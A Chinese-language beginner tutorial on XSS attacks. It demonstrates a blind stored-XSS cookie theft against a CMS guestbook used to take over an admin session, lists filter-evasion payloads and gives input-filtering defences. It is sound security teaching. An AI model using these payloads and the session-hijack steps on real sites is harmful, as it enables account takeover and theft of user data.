[渗透测试] XSS跨站点脚本攻击 零基础入门教程

前言

​ 跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击。攻击者在合法的网站或Web应用程序中执行恶意脚本。当Web应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。

​ XSS主要使用JS来执行恶意攻击,因为JS可以操控HTML、CSS、浏览器等,所有就给了攻击者可乘之机。

XSS漏洞原理

​ XSS通过构造JS代码,将其注入到网页中,然后浏览器执行这段JS代码,从而达到恶意攻击的效果。当用户访问这个页面的时候,这段代码就会注入给用户,在用户的浏览器上执行,从而攻击者就可以获取用户信息进行攻击。这个就是XSS漏洞的原理,我们可以将其绘制成一个示意图:

XSS漏洞利用

XSS攻击目标是客户端浏览器用户,由于浏览器的类别不同,攻击效果不同。

**注入位置:**搜索框、留言板、聊天室等收集用户输入的地方。

**POC:**可以用一段简单的代码来验证是否存在XSS漏洞。下面是一些检验语句,如果页面存在弹窗,那么说明存在XSS漏洞。

Js 复制代码
<script>alert(/xss/);</script>
<script>confirm(/xss/);</script>
<script>confirm('xss');</script>
<script>prompt('xss');</script>

XSS漏洞危害

攻击者利用XSS攻击是通过编写恶意JS代码,注入到Web服务器中,用户访问Web界面,这段恶意代码会在用户的浏览器中执行,以达到攻击效果,这样就会产生很多的危害:

  • 窃取用户的Cookie信息,进行Cookie欺骗
  • 劫持用户会话执行任意操作
  • 刷流量、执行弹窗广告进行网络攻击
  • 传播蠕虫病毒
  • 窃取用户私人账密信息
  • 挂马

XSS攻击方式及利用

XSS攻击分为反射型XSS、存储型XSS、DOM型XSS

反射型XSS

非持久、参数型 的跨站脚本。攻击者事先做好攻击链接,欺骗用户自己去点击链接来触发XSS代码,一般会出现在像搜索框这样的地方。

比较容易被发现 ,利用难度较高

存储型XSS

​ 持久型跨站脚本。它通常会被写进数据库或文件等可以被永久保存数据的介质中。通常会出现在像留言板的地方,攻击者将恶意代码写入数据库。如果没有过滤或者过滤不严的话,那么这些恶意代码就会存储在服务器数据库中,当用户访问的时候就会触发代码,形成攻击。

​ 非常危险,很容易造成大面积破坏、窃取用户信息Cookie。

DOM型XSS

​ DOM(Document Object Model,文档对象模型)是一个与平台、编程语言无关的接口 ,它允许程序或脚本动态地访问或更新文本文档 ,处理后的结果会成为页面的一部分。DOM型XSS是一种XSS攻击方式。通过修改受害者浏览器页面的DOM树 来执行。这种攻击技法的特点在于攻击代码在浏览器本地修改DOM树来执行,不会将payload上传到服务器

​ 因为其特性,所有很难被检测到。

XSS攻防

固定会话攻击

原理

固定会话攻击是通过窃取Cookie来实现的。

​ Cookie相当于存储在浏览器里的身份证,拥有它也就拥有了用户的身份。XSS触发是需要浏览器客户端用户(受害者)参与的,攻击者并不清楚什么时候会触发漏洞,所以这个过程也被称为XSS盲打

工具(XSS平台)

使用XSS平台

推荐:XSS安全平台 (xssjs.com)

攻击演示

1.首先,我们先来在XSS平台上创建一个项目,项目名称就叫做XSS盲打,接着下一步。

2.接着就是模块代码的选择,这里我们就选择超强默认模块并选择keepsession

3.完成这些之后,我们的代码就生成出来了,我们会发现上面也有教我们如何使用的教程。

4.我们以cms网站作为一个XSS盲打网站,我们在留言板处进行XSS代码上传,我们将恶意代码上传上去,接着就是等待后台管理员审核了。

5.当后台管理员看到这条留言的时候,我们就成功了!我们回到我们的xss平台,打开项目内容,发现我们获取到了cookie。

复制代码
cookie : username=admin; userid=1; PHPSESSID=0g29gq5hupifd1tartkva7kjs7

6.有了Cookie,我们就可以来构造了。

cmd 复制代码
document.cookie = "username=admin";
document.cookie = "userid=1";
document.cookie = "PHPSESSID=0g29gq5hupifd1tartkva7kjs7";

7.接着我们F12打开控制台,把cookie输入后我们直接访问admin页面,我们就可以直接跳过登录加入到管理员界面了。

XSS构造方法

通过何种方式可以触发XSS?

利用<>

可以使用<>来构造XSS代码用于注入。

html 复制代码
<script>alert(/xss/)</script>
利用javascript伪协议

可以通过url载入资源标签来构造。

html 复制代码
<a href= javascript:alert(/xss/)>click me!</a>
事件响应

"事件驱动"是一种比较典型的编程思想

事件类型 说明
Window 事件 对Window 对象触发的事件
Form 事件 HTML 表单内触发的事件
keyboard 事件 键盘事件
Mouse 事件 鼠标事件
Media 事件 由多媒体触发的事件
html 复制代码
# 错误触发
<img src = # onerror = alert(/xss/)>
# 抬键
<input type='text' onkeyup = alert(/xss/)>
# 鼠标悬停
<input type='text' onmouseover = alert(/xss/)>

参考:HTML 事件参考手册 (w3school.com.cn)

XSS变形方式

大小写转换

浏览器对HTML标签大小写不敏感

html 复制代码
<ScRipt>alert(/xss/)</ScRipt>
<img ONerror = 'alert(/xss/)' src = "#">
关键词双写
html 复制代码
<scr<script>ipt>alert(/xss/)</script>
对伪协议进行转码
插入其他字符

可以将以下字符插入到任意位置

字符 编码
Tab &#9;
换行 &#10;
回车 &#13;

可以将以下字符插入到头部位置

字符 编码
SOH &#01;
STX &#02;
引号的使用

HTML对引号的使用要求不严格。

  • 没有引号
  • 单引号
  • 双引号
html 复制代码
<Img sRc=# OnErRoR=alert(/xss/);>
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<Img sRc = "#" OnErRoR="alert(/xss/)">
/ 代替空格
html 复制代码
<Img/sRc='#'/OnErRoR='alert(/xss/)'>
拆分跨站

将一段JS代码拆成多段

html 复制代码
<script>z='alert'</script>
<script>z+='(/xss/)'</script>
<script>eval(z)</script>

XSS的防御

通过过滤器以达到过滤用户提交的有害信息的效果来进行防御。

输入过滤

对用户输入进行过滤,进行有效性验证。

  • 仅接收指定长度
  • 仅包含合法字符
  • 仅接收指定范围
  • 特殊的格式
php 复制代码
<?php
    $keywords = $_GET['keywords'];
	$keywords = strolower($keywords);
	$keywords = str_replace("on","",$keywords);
	$keywords = str_replace("<script>","",$keywords);
	$keywords = str_replace("<","",$keywords);
	$keywords = str_replace(">","",$keywords);
	echo $keywords;
?>
输出编码

HTML 编码是HTML 实体编码

php 复制代码
$keywords = htmlspecialchars($_GET['keywords']);
黑白名单策略

针对名单对用户提交的信息进行过滤。

黑名单:非允许的内容

白名单:允许的内容

测试代码
html 复制代码
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
相关推荐
币之互联万物9 小时前
AQUA爱克泳池设备入驻济南校园,以品质筑牢游泳教育安全防线
安全
Linux运维老纪12 小时前
运维之 Centos7 防火墙(CentOS 7 Firewall for Operations and Maintenance)
linux·安全·centos·云计算·运维开发·火绒
360安全应急响应中心12 小时前
基于 RAG 提升大模型安全运营效率
安全·aigc
EasyNVR12 小时前
国标GB28181视频监控平台EasyCVR保驾护航休闲娱乐“九小场所”安全运营
网络·安全
Ai野生菌13 小时前
工具介绍 | SafeLLMDeploy教程来了 保护本地LLM安全部署
网络·人工智能·安全·大模型·llm
DevSecOps选型指南13 小时前
浅谈软件成分分析 (SCA) 在企业开发安全建设中的落地思路
安全·开源治理·软件成分分析·sca·软件供应链安全工具
cjchsh13 小时前
春秋云境(CVE-2023-23752)
安全
【云轩】14 小时前
《混沌钟的RISC-V指令集重构》
网络·安全
EasyGBS14 小时前
视频设备轨迹回放平台EasyCVR打造视频智能融合新平台,驱动智慧机场迈向数字新时代
网络·人工智能·安全·音视频